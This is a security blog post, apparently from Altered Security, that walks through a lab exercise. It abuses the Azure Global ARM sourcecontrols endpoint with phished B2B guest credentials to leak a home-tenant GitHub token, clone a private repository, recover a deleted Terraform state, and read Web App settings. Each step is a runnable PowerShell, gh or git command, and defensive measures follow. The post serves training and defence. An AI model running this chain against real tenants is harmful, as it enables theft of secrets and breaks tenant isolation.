top of page

Abusing Global ARM API - Source Control Takeover

  • Writer: Prajwal Pandey
    Prajwal Pandey
  • 1 day ago
  • 7 min read

Welcome to this deep dive into Azure security. Whether you are a red teamer, cloud security engineer or just curious about how Azure internals work, this blog has something for you.


In this blog, we will discuss the concept of Global Azure Resource Manager (ARM) API endpoints and how they can be abused in certain Azure attack scenarios. To demonstrate this, we will walk through a hands-on lab from Altered Security's Red Labs platform (https://redlabs.enterprisesecurity.io/), where multiple Azure services are chained together to simulate a realistic attack path leading to the extraction of sensitive data from from a Azure Web Application configuration..


What are Global ARM API Endpoints?


Before diving into the attack, it is important to understand what makes Global ARM API endpoints special and why they are dangerous.


Azure Resource Manager (ARM) is the deployment and management service for Azure. ARM API calls are scoped to a subscription, resource group or management group and Azure RBAC enforces access control at those scopes. However, some ARM endpoints are not tied to a specific subscription, resource group or management group. These are known as Global ARM API endpoints.


The critical issue with these endpoints is that when accessed using guest user credentials, they return data belonging to the user's home tenant, not the guest tenant. This effectively violates tenant isolation boundaries, since the guest account is supposed to operate within the constraints of the tenant it was invited into.


In this blog, we focus on the SourceControl endpoint:

  • /providers/Microsoft.Web/sourcecontrols : Returns all configured source control integrations (GitHub, Bitbucket etc) along with the tokens used for these integrations in plaintext. A token is present only if the user previously configured a deployment using at least the Website Contributor role.


The key insight here is: the above endpoint expose home tenant secrets using guest tenant authentication.


Understanding the Key Component


Guest User:

A Guest User is a user who has an account in an external Microsoft Entra organization or an external identity provider (for example, a social identity like Gmail, Outlook etc.) and has guest-level permissions in the resource organization. The user object created in the resource Microsoft Entra directory has a UserType of Guest.


Microsoft Entra ID Guest User

When the guest tries to access a resource in the tenant they were invited to, Azure redirects them to authenticate against their home tenant or IdP not the resource tenant. This means:


  • If the guest is from another Azure AD/Entra ID org : They authenticate against their home Entra ID

  • If the guest uses a Microsoft personal account (Outlook, Hotmail) : Microsoft Account (MSA) is the IdP

  • If the guest uses Google, Gmail or a SAML/OIDC federation : The external IdP handles authentication


After successfully authenticating with their home IdP, the user receives an access token scoped to the resource tenant.


Once the guest holds a valid token from the resource tenant, Azure evaluates their permissions based on RBAC roles assigned to their guest object in that tenant.


Putting It Into Practice:


Now that we have a solid understanding of the key component and the guest user authentication flow, let's hop into the lab and see how this all plays out in practice.


Scenario:


Our victim is a user from the Red Team Labs tenant who was invited into our attacker-controlled tenant as a B2B guest user for collaboration purposes. This is a common scenario in enterprise environments where organizations frequently invite external users into their tenants for shared projects, development work or temporary access requirements.


At some point, we successfully phished the victim and obtained their credentials. However, there was one major limitation: direct access to the victim’s home tenant was protected by MFA. Even with the correct username and password, authenticating directly against the home tenant would fail because the second factor could not be satisfied.


Instead of attacking the home tenant head-on, we shifted focus to the one environment where the victim already had a trusted presence: our own attacker-controlled tenant. Since the victim had previously accepted the B2B invitation, Entra ID recognized them as a legitimate guest user in our tenant. That gave us two valuable pieces of information:


  • The victim’s credentials

  • The tenant ID of the attacker-controlled tenant where the victim existed as a guest user


You can directly access the lab here: https://redlabs.enterprisesecurity.io/lab-exam/PremiumLabs/otLX8KKCe1bOHl1B7UAAL. Hit Start Lab, give it around 5 minutes to provision, and you're good to go.

All you need is a Google account to sign in to the Red Labs platform.
Altered Security's Red Labs Portal Global ARM Abuse Lab

With our guest credentials ready, let's get into it


  1. We start by opening a PowerShell session and logging in to the guest tenant using the credentials provided with the lab:

Connect-AzAccount -Tenant "<GuestTenantId>"

Azure PowerShell Login

After authenticating, we verify the tenant context:

$tenantId = (Get-AzContext).Tenant.Id
$response = Invoke-AzRestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/tenantRelationships/findTenantInformationByTenantId(tenantId='$tenantId')"
$tenantInfo
PowerShell commands retrieving Azure tenant information using Microsoft Graph API

This confirms we are operating in the guest tenant.


  1. Using the guest tenant credentials, we call the source controls endpoint with Invoke-AzRestMethod :

Invoke-AzRestMethod `
-Uri "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-11-01" `
-Method GET
PowerShell command using Invoke-AzRestMethod to query Azure App Service source control endpoint

The response returns a GitHub source control entry containing a plaintext ghs_* server-to-server token. The token belongs to the user’s home tenant GitHub integration, yet it is exposed through requests authenticated with Guest tenant credentials. This demonstrates the core tenant isolation violation.


Note: For the Lab we are using server-to-server token ghs_*, in practice this could be a Personal Access Token (PAT).

  1. Next, we set the retrieved token as the GH_TOKEN environment variable (used automatically by the GitHub CLI):

$env:GH_TOKEN = "<TOKEN_FROM_PREVIOUS_STEP>"
PowerShell command setting the GH_TOKEN environment variable with a GitHub token.

We then verify authentication using:

gh auth status
Authentication status of the GitHub CLI using gh auth status

Next, we listed the repositories accessible to the token:

gh repo list
Listing GitHub repositories using the gh repo list command.

From the returned repositories, we clone the target repository:

gh repo clone <owner>/<repo-name>
Cloning GitHub repositories using the gh repo clone command.

  1. We cd into the cloned repository and check the git log for something interesting:

cd "<repo-name>"
git log

In particular, we look for commits that removed sensitive files such as Terraform state files.


Checking Git commit history using the git log command.

Once we identify the relevant commit hash, we inspect it's full diff to recover the deleted file content.

git show "<COMMIT_HASH>"
Checking details of a specific commit using the git show command.

  1. Within the git show output, we locate the Terraform state file’s JSON content. Among the exposed data, we identify a SAS URI. Using that URI, we download the blob contents locally:

$sasUri = "<SAS_URI_FROM_TERRAFORM_STATE>"
$outputFile = "credentials.txt"
Invoke-WebRequest -Uri $sasUri -OutFile $outputFile
Get-Content $outputFile
Commands downloading a file using a SAS URI and displaying its contents with Get-Content.

  1. Next, we disconnect from the guest tenant session and authenticate using the newly obtained credentials:

Disconnect-AzAccount
Connect-AzAccount
Azure PowerShell Login

We then verify that the user belongs to a different tenant:

$tenantId = (Get-AzContext).Tenant.Id
$response = Invoke-AzRestMethod -Method GET -Uri "https://graph.microsoft.com/v1.0/tenantRelationships/findTenantInformationByTenantId(tenantId='$tenantId')"
$tenantInfo = $response.Content | ConvertFrom-Json
$tenantInfo
PowerShell commands retrieving Azure tenant information using Microsoft Graph API.

  1. Next, we review the role assignments of the current user:

Get-AzRoleAssignment -SignInName "<user>"
PowerShell command retrieving Azure role assignments for a user using Get-AzRoleAssignment.

Multiple role assignments are returned. We inspect their definitions to understand the actions they permit:

$roleDefinitions = (Get-AzRoleAssignment -SignInName "<user>").RoleDefinitionId
foreach ($roleDef in $roleDefinitions) {Get-AzRoleDefinition -Id $roleDef -WarningAction SilentlyContinue |  Select-Object Name, Actions, AssignableScopes | fl }
PowerShell loop retrieving Azure role definitions by ID and displaying their name, actions and assignable scopes.

The role grants Microsoft.Web/sites/config/list/Action and Microsoft.Web/sites/Read, which is sufficient to read the configuration settings of the Azure Web App.

In practice, Website Contributor is the least required built-in role to have the Microsoft.Web/sites/config/list/Action permission.

  1. From Step 7, we identify the Web App associated with the Website App Configuration List Role, along with its Resource Group and Subscription ID and use that information to call the ARM appsettings/list endpoint:

$webAppName = "<WebAppName>"
$resourceGroupName = (Get-AzWebapp -Name $webAppName).ResourceGroup
$subscriptionId = (Get-AzContext).Subscription.Id
$response = Invoke-AzRestMethod `
	-Method POST `
	-Path "/subscriptions/$subscriptionId/resourceGroups/$resourceGroupName/providers/Microsoft.Web/sites/$webAppName/config/appsettings/list?api-version=2025-03-01"
$response.Content | ConvertFrom-Json
Rest API call to get Azure Web App Environment Variable

The flag is present in the response output. Submit it to complete the lab.


After successfully completing the lab, we receive a completion badge from the Altered Security's Red Labs platform.

The Global ARM API Abuse module consists of two labs and both must be completed to receive the badge.
Altered Security's Red Labs Badge

Summary


This lab demonstrated how a Global ARM API tenant isolation flaw can be abused to pivot from a guest tenant into resources belonging to the home tenant. Although direct access to the victim’s tenant was protected by MFA, the trust relationship created through Azure B2B collaboration exposed an alternative attack path.


Global ARM API - Source Control Takeover Attack Path

Using guest tenant credentials, we were able to access a Global ARM API endpoint that exposed a GitHub integration token belonging to the user’s home tenant. With that token, we cloned a private repository and reviewed its Git history to recover the contents of a deleted Terraform state file.

Finally, using the Microsoft.Web/sites/config/list/Action permission, we called the ARM appsettings/list endpoint and successfully retrieved the Web App configuration.


The key takeaway is that even seemingly low-privileged guest access can become dangerous when combined with Global ARM APIs, exposed source control integrations and sensitive artifacts left behind in infrastructure repositories.


In Azure, “it’s just a guest account” should never be treated as a security boundary.


Defensive Measures


  • Use Fine-grained Personal Access Tokens instead of Classic PATs

    Classic Personal Access Tokens are not scoped to a single project, they apply to every repository the user owns, making them a high-value target when exposed through endpoints like /Microsoft.Web/sourcecontrols. Fine-grained Personal Access Tokens in GitHub can be scoped down to only the specific repository and permissions actually needed for the deployment. These scoped tokens can be passed to the deployment configuration using the Azure CLI instead of the portal: using the command

az webapp deployment github-actions

Example:

az webapp deployment github-actions add --repo "githubUser/githubRepo" -g MyResourceGroup -n MyWebapp --token MyPersonalAccessToken
  • Configure OpenID Connect (OIDC) for GitHub Actions

    Storing secrets for GitHub Actions deployments is unnecessary and risky. OIDC eliminates stored secrets entirely by establishing a federated trust between Entra ID and GitHub, scoped to a specific repository and workflow. An Entra ID App Registration and Service Principal are created and assigned access on the relevant resource. A Federated Identity Credential is then configured to define the trust. On the GitHub side, only identifiers are stored: client ID, tenant ID and subscription ID with id-token permissions enabled in the workflow. At runtime, GitHub Actions requests an OIDC token, presents it to Entra ID and if the federated trust is satisfied, Azure issues a short-lived access token. The workflow runs as the Service Principal with no secrets involved, no rotation required and no risk of credentials appearing in plaintext API responses.


Reference



This is just the beginning. In our upcoming blog, we’ll explore additional Global ARM API endpoints and take a deeper look at how they can be leveraged across a variety of attack scenarios.



Posted by:


Prajwal Kumar Pandey

Azure Security Researcher @ AlteredSecurity

 
 
bottom of page